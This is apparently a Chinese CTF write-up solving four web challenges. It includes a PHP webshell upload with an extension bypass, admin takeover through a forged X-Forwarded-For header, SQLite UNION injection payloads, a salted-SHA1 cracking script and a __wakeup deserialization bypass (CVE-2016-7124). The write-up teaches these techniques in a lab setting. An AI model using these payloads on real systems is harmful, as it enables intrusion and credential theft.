web攻防世界3
1.bug
题目提示注册,随便输个登录进去
点到manage界面提示不是管理员,
浏览几个选项感觉只有这个修改密码可以操作操作了,抓包修改密码界面,把这里的用户改成admin试试,提示密码小于六位,改一改
这里还需要伪造ip,即用x-forwarded-for即可
修改成功,用admin登录,即能访问刚才的那个菜单,
猜测文件上传,传个马,
需要绕过,师傅们在这里上传了图片,改了内容,
并且这里后缀可使用.php4,.php5绕过,
加入
<script language='php'>system('ls')</script>
放包得到flag。
但现在这种<script language='php'>php表示方法好像已经灭绝了要...
2.FlatScience
不晓得是什么东西,随便点点,这是什么论文啥玩意的吧...
输入几个常见后台发现,login.php和admin.php有结果,
查看源码发现不让绕过...那就听你的,
发现login源码中有
url跟上?debug得到源码:
发现sql语句
在login中输入注入语句,出现
看了wp说是SQLite数据库的注入,SQLite数据库中有一个叫SQLite_master的表它定义数据库的模式。
抓包,对username进行注入语句
usr=' union select name,sql from sqlite_master--+&pw=
在set-cookie中发现
整理一下,set-cookie就是
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
发现表名和字段
继续用usr进行字段的获取,
usr=%27 UNION SELECT id, id from Users limit 0,1
usr=%27 UNION SELECT id, name from Users limit 0,1
usr=%27 UNION SELECT id, password from Users limit 0,1
usr=%27 UNION SELECT id, hint from Users limit 0,1
可以得到这些数据,
根据hint猜测favword藏在前面看到的pdf里面,需要写个脚本,把里面的词都给提取出来,拼接上”Salz!”然后sha1加密,看看是否跟3fab54a50e770d830c0416df817567662a9dc85c相等。
把PDF都down下来,
附上大爹们的脚本
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]
def convert_pdf_2_text(path):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
interpreter = PDFPageInterpreter(rsrcmgr, device)
with open(path, 'rb') as fp:
for page in PDFPage.get_pages(fp, set()):
interpreter.process_page(page)
text = retstr.getvalue()
device.close()
retstr.close()
return text
def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print "Searching word in " + i
pdf_text = convert_pdf_2_text(i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
print "Find the password :" + word
exit()
if __name__ == "__main__":
find_password()
跑得出flag.
3.web2
打开发现源码
提示还是很有意思的
审计源码:反转字符串->循环字符串长度->从$_0位置开始,返回1个字符->返回字符串首个字母的ASCII值->拼接两个变量的内容 赋值->base64,strrev,rot13
将这个顺序反过来编码,即
4.unserialize3
源码:
这里用到了—wakeup()绕过
__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数。
参考CVE-2016-7124
序列化后值为:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
传进去即得
关于序列化反序列化参考: